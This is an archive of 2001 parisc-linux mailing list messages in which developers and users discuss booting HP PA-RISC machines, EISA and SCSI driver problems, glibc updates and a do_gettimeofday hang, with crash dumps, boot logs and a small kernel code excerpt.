86a0 00000027 1035a010 1035a388 1010fc5c 00000002 1035a388 fffbf000 10361810
86c0 100b9000 00000001 100b901c 100b901c 40000000 102b5010 00000001 1035d7dc
86e0 1035a010 1035d7ba 1035d7b7 1012e354 00000000 00000000 00000000 00000000
8700 107a7600 00000000 ffffffff 00000010 00000000 00000000 ffffffff 00000000
8720 00000000 00000000 00000000 1010fa5c 00000000 00000000 00000000 00000000
8740 00000001 00000005 100b901c 00000000 00000000 10080000 00000000 00000000
8760 00000000 00000000 00000000 10132218 00000000 00000000 00000000 00000000
8780 100b9004 00000001 0000000e 100b901c 100b901c 00020000 40000000 63646566
87a0 6768696a 6b6c6d6e 6f707172 1012e338 7778797a 00000000 30313233 34353637

High Priority Machine Check (HPMC): Code=1 regs=102a5080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 1021e000 102eaf2c 00000000
r4-7     102b2118 f0000000 102b2010 102b2118
r8-11    00000001 100b9004 0004000e 102e8f94
r12-15   00000000 ffffffff 00000000 f0400004
r16-19   f00008c4 f000017c f0000174 0000f000
r20-23   00000000 00000800 00000080 00000000
r24-27   fc000000 100bd5c8 000000f0 102a2010
r28-31   00000800 00000000 103487c0 1010f958
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1021e434 1021e438
 IIR: 0f3a1380    ISR: 14240040  IOR: 2f4bd5c8
 CPU:        0   CR30: 10348000 CR31: 10350000
 ORIG_R28: 00000000





The LCD is also Nice :)   It reads:

FLT CBFB4.9-pa57
785/B2000



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems installing a 715/100 - Reboots right
 after the 'Set defa ult PSW W bit to 0'
Date: Thu, 18 Oct 2001 06:23:24 -0800 (AKDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110180620450.23109-100000@goliath.alaskatech.org>
References: <49CF62DB7EBBD2118F000008C74B94A001070996@nos0006>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620646 28232 80.91.229.3 (22 Nov 2014 01:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:06 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>, <Dag.Tulloch@wartsila.com>
To: <Frode.Meling@wartsila.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 08:32:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1183C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 08:32:37 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GLEOED00.D8I for
          <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 06:32:37 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GLEOED01.W08; Thu, 18 Oct 2001 06:32:37 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id GAA23701;
	Thu, 18 Oct 2001 06:23:24 -0800
In-Reply-To: <49CF62DB7EBBD2118F000008C74B94A001070996@nos0006>
Xref: news.gmane.org gmane.linux.ports.parisc:12712

On Thu, 18 Oct 2001 Frode.Meling@wartsila.com wrote:
> * BOOTING FROM CD-ROM *
>
> Any ideas?
> We have tried on two different 715/100 machines. Same thing happens.
> (Booted OK on a B132L)
>
> We also tried upgrading the firmware to 1.6, did not help either...

My 715/100 is running on that release with no problems. (At least, no
problems that can't be attributed to running a brand new unstable
release.)

I don't have that message in my dmesg output anyplace that I can find. Did
it install properly, or is this hanging when you boot from the CD?





From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 18 Oct 2001 06:31:18 -0800 (AKDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110180623430.23109-100000@goliath.alaskatech.org>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620646 28237 80.91.229.3 (22 Nov 2014 01:44:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:06 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 08:40:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2377D482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 08:40:43 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GLEORJ01.782 for
          <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 06:40:31 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GLEORI01.E0H; Thu, 18 Oct 2001 06:40:31 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id GAA23906;
	Thu, 18 Oct 2001 06:31:18 -0800
In-Reply-To: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12713

On Wed, 10 Oct 2001, Matthew Wilcox wrote:
> Anyone want to review a patch that makes EISA work?  I've only
[snip]
> I seem to have chosen a not-quite-supported EISA card to test with.
> The ID is plausible, so I don't think it's a byteswapping issue or
> anything.

Okay - I just brought things up with -pa61 and get the same errors about
commands not finishing when DHCP tries to use the 3c597 EISA NIC. However,
I scrounged up a static IP, plugged it in, and brought it online. It
*appears* to take the IP and work fine, but I get console errors that
various hexadecimal commands aren't finishing, then a comment that
"perhaps IRQ3 isn't available?" I also can't find a config program to try
resetting the card's IO etc. info - 3c5x9config from stable doesn't appear
to like the HP and I don't have an EISA-based PC to use the DOS utils
on...

Anyone have any ideas? Or, perhaps I can use the DOS utils (if I find an
EISA PC) and set the card to something that -pa61 detects, so they match?





From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 18 Oct 2001 16:08:21 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20011018160821.C25234@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.33.0110180623430.23109-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620647 28239 80.91.229.3 (22 Nov 2014 01:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 09:08:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6916482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 09:08:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15uEmT-0000Xx-00; Thu, 18 Oct 2001 16:08:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110180623430.23109-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Thu, Oct 18, 2001 at 06:31:18AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12714

On Thu, Oct 18, 2001 at 06:31:18AM -0800, Tom wrote:
> Okay - I just brought things up with -pa61 and get the same errors about
> commands not finishing when DHCP tries to use the 3c597 EISA NIC. However,
> I scrounged up a static IP, plugged it in, and brought it online. It
> *appears* to take the IP and work fine, but I get console errors that
> various hexadecimal commands aren't finishing, then a comment that
> "perhaps IRQ3 isn't available?" I also can't find a config program to try
> resetting the card's IO etc. info - 3c5x9config from stable doesn't appear
> to like the HP and I don't have an EISA-based PC to use the DOS utils
> on...

3c597 isn't going to work until someone (probably me...) gets EISA DMA
working.  That depends on getting consensus for how to implement the pci_*
host DMA mapping support (which I think we have now).  Implementing it
is going to depend on some changes such as the iotree.  rbrad & I have
been working on that, and I think we're close to getting finished.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kaj-Michael Lang <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc update
Date: Thu, 18 Oct 2001 18:49:24 +0300 (EEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110181848230.11854-100000@tori.tal.org>
References: <20011017122313.C4123@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620647 28240 80.91.229.3 (22 Nov 2014 01:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:07 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 09:50:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vasta.saunalahti.fi (posti.mesta.net [195.197.53.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 170A6482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 09:50:48 -0600 (MDT)
Original-Received: from tori.tal.org (milang@dyn-3-081.tku.netti.fi [195.16.220.82])
	by vasta.saunalahti.fi (8.10.1/8.10.1) with ESMTP id f9IFp0D18402
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 18:51:00 +0300 (EEST)
In-Reply-To: <20011017122313.C4123@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12715

On Wed, 17 Oct 2001, Randolph Chung wrote:

> glibc 2.2.4-3 has been uploaded to Debian's incoming direction and
> should be installed in today's archive run.

Where can I find the sources to uptodate glibc/gcc/binutils for parisc ?
The files on the ftp site are old as far as I can tell.

--
Kaj-Michael Lang, Turku, Finland
milang@tal.org http://www.tal.org





From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCXS fixes
Date: Thu, 18 Oct 2001 11:17:11 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <01101811171100.00835@Wolf-01>
References: <200110030832.CAA10917@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620647 28243 80.91.229.3 (22 Nov 2014 01:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:07 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>
To: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 10:19:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34BED482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 10:19:00 -0600 (MDT)
Original-Received: from Wolf-01 (ppp159.cc1.pflash.com [63.121.24.161]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007434202@vopserver.pflashcom>;
 Thu, 18 Oct 2001 11:23:52 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <200110030832.CAA10917@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12716

On Wednesday 03 October 2001 03:32 am, John Marvin wrote:
> ... Note that
> although ldcw requires 16 byte alignment for correct function, it does
> not cause an unaligned fault if the address is not aligned, it just
> doesn't work correctly!
>
> Here are some suggested fixes:
>     1)  ...
>     2)  ...
>
John, Albert and Group;

I am working on a generalized solution as suggestion #3.  Diffs to follow RSN 
- as soon as I finish the coding and Albert gets it to run.

Mike




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More on the B2000
Date: Thu, 18 Oct 2001 11:32:30 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <200110181732.LAA02640@puffin.external.hp.com>
References: <ra@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620648 28247 80.91.229.3 (22 Nov 2014 01:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 11:35:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D8CD482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 11:35:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA02640;
	Thu, 18 Oct 2001 11:32:30 -0600
In-Reply-To: Message from Richard Allen <ra@hp.is> 
   of "Thu, 18 Oct 2001 14:24:59 -0000." <20011018142459.S8089@hp.is> 
Xref: news.gmane.org gmane.linux.ports.parisc:12717

Richard Allen wrote:
> I managed to install a B2000 from the 0.92 ISO.    The trick
> is to connect a serial console, open the box and disconnect the
> IDE cdrom drive, install a SCSI card and plug in a external
> SCSI cdrom drive.

Ah - excellent idea.
I'm helping get IDE-CDOM working and I have also started work on
getting the built-in narrow scsi working (sym53c8xx driver needs
to make a PDC GET_INITIATOR call).

> I attempted to compile todats kernel on the machine and I did it as
> Im used to do (make oldconfig, make dep, make palo)
> That kernel refuses to boot:

To debug problems like this, enable EARLY_BOOTUP_DEBUG in
arch/parisc/kernel/pdc_cons.c.  We also need you to keep the matching
System.map and look up where IOAQ and GR02 point to in the kernel.
Use "build-tools/a.c" to help do the look ups.

I've copied kernels for c3k (32-bit) and a500 (64-bit) to my ftp server.
I've stripped out stuff neither needs from their respective .config:
	ftp://gsyprf10.external.hp.com/pub/a500
and
	ftp://gsyprf10.external.hp.com/pub/c3000

DISCLAIMER: I don't guarantee these kernels will work for anyone for any
purpose or that they are "clean" builds (ie may have custom changes).
Just providing them as a convience.

If something is missing from the respective .config that you think
I should include, feel free to ask for it. I might include it. ;^)

...
> The LCD is also Nice :)   It reads:
> 
> FLT CBFB4.9-pa57
> 785/B2000

CBFB is the "chassis code" for the fault.
Don't recall what that means but it's documented someplace.

The "785/B2000" is written by firmware.
Kudos to Helge/Randolph for the code that writes the top line.
It is cool!

grant




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More on the B2000
Date: Thu, 18 Oct 2001 19:35:35 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20011018193535.T11105@linuxcare.com>
References: <ra@hp.is> <200110181732.LAA02640@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620648 28253 80.91.229.3 (22 Nov 2014 01:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:08 +0000 (UTC)
Cc: Richard Allen <ra@hp.is>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 12:35:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC561482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 12:35:30 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5A7FFB00C; Thu, 18 Oct 2001 19:35:36 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200110181732.LAA02640@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Oct 18, 2001 at 11:32:30AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12718

On Thu, Oct 18, 2001 at 11:32:30AM -0600, Grant Grundler wrote:
> I'm helping get IDE-CDOM working and I have also started work on
> getting the built-in narrow scsi working (sym53c8xx driver needs
> to make a PDC GET_INITIATOR call).

The narrow scsi works provided you boot with "sym53c8xx=buschk:2" as
per the CD errata though, doesn't it?

Richard





From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Thu, 18 Oct 2001 20:43:21 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20011018204321.A6663@zaphod.halden.lillfab.se>
References: <rhirst@linuxcare.com> <200110171419.f9HEJbH01686@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620648 28257 80.91.229.3 (22 Nov 2014 01:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:08 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 12:43:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailg.telia.com (mailg.telia.com [194.22.194.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62FCC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 12:43:31 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailg.telia.com (8.11.6/8.11.6) with ESMTP id f9IIhNW03492;
	Thu, 18 Oct 2001 20:43:24 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t7o70p102.telia.com [217.208.220.102])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9IIhMf29702;
	Thu, 18 Oct 2001 20:43:22 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id UAA07469;
	Thu, 18 Oct 2001 20:43:21 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <200110171419.f9HEJbH01686@localhost.localdomain>; from James.Bottomley@HansenPartnership.com on Wed, Oct 17, 2001 at 16:19:37 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 31
Xref: news.gmane.org gmane.linux.ports.parisc:12719

On 2001.10.17 16:19 James Bottomley wrote:
> This one looks like it might be the second new feature of the driver: tag 
> command queuing.
> 
> Could you post the boot messages of the failure case (or at least the device 
> identifications and whether the driver has enabled TCQ [message like scsi1: 
> (5:0) Enabling Tag Command Queuing)].
They do, see below.

/Daniel

SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0 
scsi0 : LASI SCSI 53c700
  Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: QUANTUM   Model: FIREBALL ST3.2S   Rev: 0F0C
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
scsi0: (5:0) Enabling Tag Command Queuing
SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sdb: 6328861 512-byte hdwr sectors (3240 MB)
 sdb: unknown partition table
-- 




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Thu, 18 Oct 2001 20:43:34 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20011018204334.C6663@zaphod.halden.lillfab.se>
References: <20011008230949.U11105@linuxcare.com> <20011013233216.A24926@zaphod.halden.lillfab.se> <20011016101716.A11105@linuxcare.com> <20011017000833.C10728@zaphod.halden.lillfab.se> <20011017105641.G11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620649 28262 80.91.229.3 (22 Nov 2014 01:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:09 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 12:43:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailb.telia.com (mailb.telia.com [194.22.194.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id DECF0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 12:43:41 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailb.telia.com (8.11.6/8.11.6) with ESMTP id f9IIhZ520961;
	Thu, 18 Oct 2001 20:43:36 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t7o70p102.telia.com [217.208.220.102])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9IIhZf29744;
	Thu, 18 Oct 2001 20:43:35 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id UAA07474;
	Thu, 18 Oct 2001 20:43:34 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <20011017105641.G11105@linuxcare.com>; from rhirst@linuxcare.com on Wed, Oct 17, 2001 at 11:56:41 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 26
Xref: news.gmane.org gmane.linux.ports.parisc:12720

On 2001.10.17 11:56 Richard Hirst wrote:
 
> I don't think 18 mins with no lockup against 10 mins with lockup is
> conclusive really, given that the debugging will have slowed things
> down considerably. 
 
Yes, you have a point. But I want to mention that after the bonnie-runI
also ran a e2fsck on my root filesystem while it was dirty and it finnished
which it had never done with the new driver w/o the debug-output.

> How long have you run bonnie for with the old
> driver?  I'd like to see that run for say 1 hour without lockups
> before we assumed the new driver was causing a problem.
I have done three runs in a row with 100Mb data, I dont know how long this takes, 
but say almost an hour.

> When it fails, I'd expect the scsi layer to time out any active
> commands and retry.  Is there any evidence of it doing that, or
> is there no console output at all?
No output at all. Interrupts still work; the box answers pings and echoes the 
console input, but nothing else works.


/Daniel
-- 




From - Thu Nov 08 21:19:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] travel backwards in time?
Date: Thu, 18 Oct 2001 13:21:45 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20011018132145.H4123@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620649 28266 80.91.229.3 (22 Nov 2014 01:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 14:21:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24228482A
	for <parisc-linux@parisc-linux.org>; Thu, 18 Oct 2001 14:21:55 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tizdiaaa for parisc-linux@parisc-linux.org; Thu, 18 Oct 2001 13:17:14 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15uJfl-0004KO-00; Thu, 18 Oct 2001 13:21:45 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12721

Recently Grant and I have observed several hangs in do_gettimeofday on a
c3k running 32 or 64-bit kernels (UP). 

The symptom we see is gettimeoffset returns a negative number which
results in a huge (unsigned) usec offset in do_gettimeofday, which ends
up spinning in a while loop.

On further investigation we found this piece of code that we don't 
quite understand in the gettimeoffset function:


        /* this is the intended time of the next tick */
        last_tick = cpu_data[smp_processor_id()].it_value;
        /* so subtract one tick */
        /* and account for possible difference between wall and actual time */
        last_tick += clocktick * (jiffies - wall_jiffies - 1);
	
The last_tick adjustment looks a bit odd. Looking at ia64, it looks more
like this:

        last_tick -= clocktick * (jiffies - wall_jiffies + 1);

I tried this and couldn't reproduce the hangs anymore, but am not sure
if this is the right fix.

jsm suggested we try an experiment to disable interrupts in the
timer_interrupt handler. I tried that yesterday (add a __cli() call) and
it didn't seem to fix the hangs.

